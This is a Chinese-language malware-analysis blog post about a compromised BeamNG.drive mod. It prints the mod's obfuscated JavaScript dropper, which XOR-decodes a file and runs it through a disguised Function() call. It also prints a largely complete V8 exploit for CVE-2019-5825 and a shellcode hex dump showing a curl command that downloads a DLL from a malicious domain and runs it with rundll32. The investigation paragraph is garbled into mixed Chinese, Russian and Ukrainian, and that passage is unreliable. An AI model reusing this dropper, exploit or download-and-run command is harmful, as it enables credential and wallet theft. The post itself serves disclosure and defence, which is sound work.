我如何在 BeamNG Mod 中发现恶意软件

发布于 2025 年 4 月 26 日 • 更新于 2025 年 4 月 28 日 cybersecurity[malware analysis](https://lemonyte.com/blog/</blog/malware analysis>)[game modding](https://lemonyte.com/blog/</blog/game modding>) Banner

警告 : 本文包含来自真实恶意软件的代码片段。请勿在安全、隔离的虚拟机之外运行本文中的任何代码。 上周,我启动了 BeamNG.drive,希望在 Belasco City 兜风。但是,就在我启动游戏后不久,我注意到我的防病毒软件发出了一条奇怪的通知。 AV alert curl.exe? 这可不好。 Cloudflare Radar 确认 curl 尝试访问的域名已知是恶意的。 然而,在这一点上,我并不能 100% 确定这是否来自游戏。

开始调查

为了 выяснить 問題 дійсно 在 遊戲, 我 再啟動 用 Process Monitor 運行. 过滤 через События, моё подозрение Было подтверждено: процесс Запуска Cmd С curl Команды Была запущенна Игрой. Process monitor screenshot 但这个命令究竟来自哪里? 是一个 Mod,还是游戏本身受到了威胁?

检查 Process Monitor 中的调用堆栈显示该命令是通过调用 WinExec 执行的,这是一个来自 16 位 Windows 的传统函数,通常在 shellcode 恶意软件中使用。 Stack screenshot 为了更仔细地观察,我将 WinDbg 调试器附加到游戏进程,并在 WinExec 上设置了一个断点。当恶意代码尝试运行该命令时,调试器将暂停该进程,并允许我检查调用堆栈和内存。当我打开游戏内的 Mod 管理器时,该断点被命中。

WinDbg 显示了 WinExec 被调用的内存地址,我们可以使用它来找到执行该命令的 shellcode。 WinDbg screenshot 但是这个 shellcode 究竟是如何到达那里的呢? 不幸的是,调用堆栈没有显示它来自哪个文件,但它确实包含另一个线索:libcef。 这指的是 Chromium Embedded Framework,这表明可能利用了 Chromium 中的一个漏洞将 shellcode 插入到内存中。 BeamNG.drive 使用 Chromium 来渲染 UI 的一部分,包括执行恶意代码的 Mod 管理器。

我禁用了所有下载的 Mods,并进行了更深入的挖掘。

这个 Mod

我还有一些线索可以帮助缩小我的搜索范围:

  1. 当我 2 个月前玩这个游戏时,没有任何可疑的东西。
  2. 当我打开游戏内的 Mod 管理器时,产生了恶意命令。
  3. 禁用所有 Mods 后,可疑事件停止出现。

使用这些信息,我专注于最近 2 个月内安装或更新的 Mods。 在解压缩 Mod .zip 文件并搜索了成千上万个 Lua 文件后,我什么也没找到。 浏览这么多文件实在太慢了。 我需要找出究竟是哪个 Mod 导致了这个问题。

如果幸运的话,当我启用有问题的 Mod 时,可疑事件会再次出现,所以我开始逐个启用它们。 果然,当我打开一个名为 American Road 的 Mod 时,它又回来了。

这个投递器 (Dropper)

既然我知道哪个 Mod 是罪魁祸首,找到恶意代码应该容易得多。

第一阶段

我很快在一个名为 american_road_patreon_banner.js 的文件中找到了一些可疑的 JavaScript 代码。

// create banner and load compiled css
const baseFolder = "/ui/modModules/american_road_patreon_banner"
var xhr = new XMLHttpRequest();
xhr.open('GET', baseFolder + "/banner.c_css", true);
xhr.responseType = "arraybuffer"; 
xhr.onload = () => {
 if (xhr.status === 200) {
  var compiledcss = new TextDecoder().decode(xhr.response);
  var styles = ((s, k) => [...s]
  .map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length)))
  .join(''))(compiledcss, "css");
  setTimeout(() => {
   var bannerImage = document.createElement("img", [].constructor.constructor(styles)());
   bannerImage.id = "patreon-banner"
   bannerImage.src = baseFolder + "/banner.gif";
   bannerImage.style = "display:none; padding-top: 2.6rem;";
   document.body.appendChild(bannerImage);
  }, 500)   
 }
};
xhr.send();
// handle showing and hiding of banner
// when the player is on american road and is in the escape menu, the banner will show
export default angular.module('american_road_patreon_banner', ['ui.router'])
.config(['$stateProvider', function($stateProvider) {
 $stateProvider.state('menu.american_road_patreon_banner', {
  url: '/american_road_patreon_banner',
  templateUrl: '/ui/modModules/american_road_patreon_banner/american_road_patreon_banner.html',
  controller: 'AMPatreonBannerController',
 })
}])
// ...irrelevant code truncated

乍一看,这似乎是一个无害的脚本,当玩家使用 American Road 地图时,会显示一个 Patreon 横幅。 但仔细观察,有些事情看起来不太对劲:

var xhr = new XMLHttpRequest();
xhr.open('GET', baseFolder + "/banner.c_css", true);
xhr.responseType = "arraybuffer"; 
var compiledcss = new TextDecoder().decode(xhr.response);
var styles = ((s, k) => [...s]
.map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length)))
.join(''))(compiledcss, "css");

最可疑的部分是 [].constructor.constructor(styles)()。 让我们将这个表达式分解成它的组成部分:

这个表达式反混淆后的版本看起来像 Function(styles)(), 本质上与 eval(styles) 相同, 但伪装成合法的代码。

另一个有趣的文件是一个 Lua 脚本,它在加载 Mod 后重新加载用户界面,Dropper 的作者很好地为我们记录了这一点。

-- beamng race condition causes ui files from mods to not be found when the ui gets loaded
-- since the mod zip file gets mounted AFTER the ui loads.
-- we reload once to load all missing ui modules
reloadUI()

显然,在测试这个 Dropper 并确保它执行 JavaScript 代码方面投入了大量精力。 他们甚至找到了原始 Mod 作者的正确 Patreon 链接来获取 GIF 横幅图像。

我们现在已经确定这段代码正在动态执行一些隐藏的 JavaScript,但它究竟在执行什么呢?

第二阶段

还记得那个“compiled CSS”文件吗? 前 3 行看起来像这样:

␏␖ C␐␜
␅␖␑ ␚␌␝,␁␆␕␅␖␁^␝␖␔S2␑␁␒␚1␆␅␕␖␑[KJ_␕␏␜␒␗,␅
␖␄^␝␖␔S5␏␜␒␗EG"␁␁␂

显然,数据不是纯文本,所以我们需要解码它。 我使用了来自原始 JavaScript 的这个代码片段,将类似于 eval 的部分替换为 console.log 以查看解码后的数据。 我还将 XMLHttpRequest 替换为 fs.readFileSync,然后在虚拟机中使用 Node.js 运行它。

import fs from 'node:fs';
try {
 const data = fs.readFileSync('banner.c_css');
 var compiledcss = new TextDecoder().decode(data);
 var styles = ((s, k) => [...s]
 .map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length)))
 .join(''))(compiledcss, "css");
 console.log(styles);
} catch (err) {
 console.error(err);
}

这为我们提供了 Dropper 的第二阶段:

警告 : 这是危险的代码。 即使我已经省略了 Payload 的坏的部分,也不要运行它,除非你知道你在做什么。

// ...truncated
function gfxbuffer() {
  for (let r = 0; r < 10 ** 5; r++) test(array);
  (array.length = 33554431),
    array.fill(1, 23, 24),
    array.fill(1, 25),
    array.push(2),
    (array.length += 500),
    (cnt = 1);
  try {
    test(array);
  } catch (r) {
    return test_array();
  }
  return False;
}
// ...truncated
function rq(r) {
  let t = farray[25];
  farray[25] = (r - 0x1fn).i2f();
  let n = tarray[0];
  return (farray[25] = t), n;
}
function wq(r, t) {
  let n = farray[25];
  (farray[25] = (r - 0x1fn).i2f()), (tarray[0] = t), (farray[25] = n);
}
function addrof(r) {
  return (obj.b = r), farray[33].f2i();
}
function cpy(r, t) {
  t.forEach((t, n) => {
    wq(r + BigInt(n), BigInt(t));
  });
}
function parse_css() {
  const r = new Uint8Array([
      0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96,
      0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 6, 129, 128, 128,
      128, 0, 0, 7, 133, 128, 128, 128, 0, 1, 1, 97, 0, 0, 10, 138,
      128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11,
    ]),
    t = new WebAssembly.Instance(new WebAssembly.Module(r)).exports.a;
  gfxbuffer();
  let n = rq(addrof(t) - 1n + 24n) - 1n,
    e = rq(n + 8n) - 1n,
    a = rq(e + 16n) - 1n;
  cpy(
    rq(a + 0xe8n) + 0n,
    [
      72, 131, 236, // ...truncated
    ],
  ),
    setTimeout(t, 1e3);
}
parse_css();

这里有很多事情在发生,但本质上这段代码利用了 CVE-2019-5825,一个 Chromium 的 V8 JavaScript 引擎中存在了 6 年的漏洞,将机器代码写入越界的(out-of-bounds)可执行内存位置。 上面的代码几乎完全复制了 GitHub 上的 这个概念验证

const r = new Uint8Array([
     0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96,
     0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 6, 129, 128, 128,
     128, 0, 0, 7, 133, 128, 128, 128, 0, 1, 1, 97, 0, 0, 10, 138,
     128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11,
   ]),
   t = new WebAssembly.Instance(new WebAssembly.Module(r)).exports.a;

只要它导出一个函数,这个模块的内容就不是特别重要。 在本例中,它是一个名为 a 的函数,返回 0

(module
 (type (;0;) (func (result i32)))
 (func (;0;) (type 0) (result i32)
  i32.const 0
 )
 (export "a" (func 0))
)
let n = rq(addrof(t) - 1n + 24n) - 1n,
  e = rq(n + 8n) - 1n,
  a = rq(e + 16n) - 1n;
cpy(
  rq(a + 0xe8n) + 0n,
  [
    72, 131, 236, // ...truncated
  ],
),
setTimeout(t, 1e3);

第三阶段:shellcode

复制到可执行内存中的数据就是我们正在寻找的 shellcode Payload。 更深入地研究这个兔子洞,我们可以将这些字节写入到一个文件中,以便更好地查看它。

import fs from 'node:fs';
const r = new Uint8Array([
  72, 131, 236, // ...truncated
]);
fs.writeFileSync("shellcode.bin", r);

在十六进制编辑器或文本编辑器中查看结果文件会显示我们在 Process Monitor 和 WinDbg 中看到的原始 curl 命令:

Offset Bytes                      Ascii
    00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
------ ----------------------------------------------- -----
000030 C8 41 8B 41 18 85 C0 74 58 45 8B 51 20 48 89 5C ÈAAÀtXEQ H\
000040 24 20 48 BB 57 69 6E 45 78 65 63 00 0F 1F 40 00 $ H»WinExec @
...
0000A0 33 C0 48 83 C4 28 C3 63 6D 64 20 2F 63 20 63 75 3ÀHÄ(Ãcmd /c cu
0000B0 72 6C 20 2D 73 20 2D 2D 66 61 69 6C 20 68 74 74 rl -s --fail htt
0000C0 70 73 3A 2F 2F 61 63 37 62 32 65 64 61 36 66 31 ps://ac7b2eda6f1
0000D0 34 2E 64 61 74 61 68 6F 67 2E 73 75 2F 32 77 33 4.datahog.su/2w3
0000E0 65 39 38 74 35 7A 68 32 39 38 77 33 74 7A 68 67 e98t5zh298w3tzhg
0000F0 37 39 38 32 77 33 74 34 65 67 20 2D 6F 20 22 25 7982w3t4eg -o "%
000100 54 45 4D 50 25 5C 74 6D 70 36 46 43 31 35 2E 74 TEMP%\tmp6FC15.t
000110 6D 70 22 20 26 26 20 6D 6F 76 65 20 22 25 54 45 mp" && move "%TE
000120 4D 50 25 5C 74 6D 70 36 46 43 31 35 2E 74 6D 70 MP%\tmp6FC15.tmp
000130 22 20 22 25 54 45 4D 50 25 5C 74 6D 70 36 46 43 " "%TEMP%\tmp6FC
000140 31 35 2E 64 6C 6C 22 20 26 26 20 72 75 6E 64 6C 15.dll" && rundl
000150 6C 33 32 20 22 25 54 45 4D 50 25 5C 74 6D 70 36 l32 "%TEMP%\tmp6
000160 46 43 31 35 2E 64 6C 6C 22 2C 6D 61 69 6E 00   FC15.dll",main

命令之前的字节可能是 x86 指令,用于定位和调用 WinExec 函数,该函数负责执行该命令。

这个 Payload

我们到目前为止看到的所有代码只是为了从互联网下载并执行一个 DLL 文件。 这个 DLL 是真正的恶意软件,一个快速 分析 显示它是一个信息窃取器,从浏览器和 Exodus 加密货币钱包应用程序中窃取密码。

危害指标

文件路径:

哈希值:

域名:

那么,现在该怎么办?

在确定哪个 Mod 被感染后,我联系了 BeamNG 团队,提供了关于该 Mod 和恶意代码的详细信息。 几天之内,受感染的 Mod 版本已从官方存储库中删除,并且其作者的帐户已被暂停,因为很可能该帐户已被盗用。

如果您安装了 American Road,您应该将其删除并扫描您的计算机以查找恶意软件。 我还建议您更改所有密码,因为如果您的防病毒软件没有阻止 DLL 执行,则密码可能已被盗取。

浏览 BeamNG 网站上的 Mod 页面,我发现恶意代码是在 4 月 1 日添加的。 声明“添加了 patreon 横幅”的变更日志是最后的棺材钉。 不幸的是,在删除受感染版本之前,已有超过 3500 人下载了该版本,因此可能有些人的密码或个人信息被盗。 VirusTotal 报告 大多数防病毒程序都将 DLL 检测为恶意软件,包括 Microsoft Windows Defender,但从 4 月 1 日更新到首次分析之间大约有一个星期的差距。

为了防止将来发生此类事件,解决方案可能就像将 Chromium Embedded Framework 依赖项更新到较新版本一样简单。 WinDbg 显示该游戏正在使用版本 3.3626.1895.g7001d56,该版本于 2019 年 3 月发布(是的,已经 6 年了!),并且在过去几年中修复了相当多的 Chromium 越界访问漏洞。

BeamNG.drive 还使用了 --no-sandbox 标志,这很可能允许了该漏洞的利用,因此删除它也是一个好主意。

也许我会写一篇后续文章,对 shellcode 进行逆向工程,并更详细地分析 DLL,敬请期待!

总结

在这篇文章中,我们研究了一个被感染的 BeamNG.drive Mod,它包含混淆的 JavaScript 和 shellcode。 从防病毒警报开始,我们使用 Process Monitor 和 WinDbg 收集重要的详细信息,然后通过逆向工程揭开了恶意代码的每一层。 我们发现,一个涉及 WASM 和越界内存访问的 Chromium 漏洞被利用来将 shellcode 写入可执行内存中。 最后,我们发现 shellcode 下载了一个窃取密码和个人信息的恶意 DLL 文件。

感谢 Elliott 帮助进行 DLL 分析,并非常感谢我的父亲指导我完成 WinDbg 的操作!

当然,感谢_您_的阅读! 如果您喜欢这篇文章,请在您喜欢的任何地方分享链接。

更多文章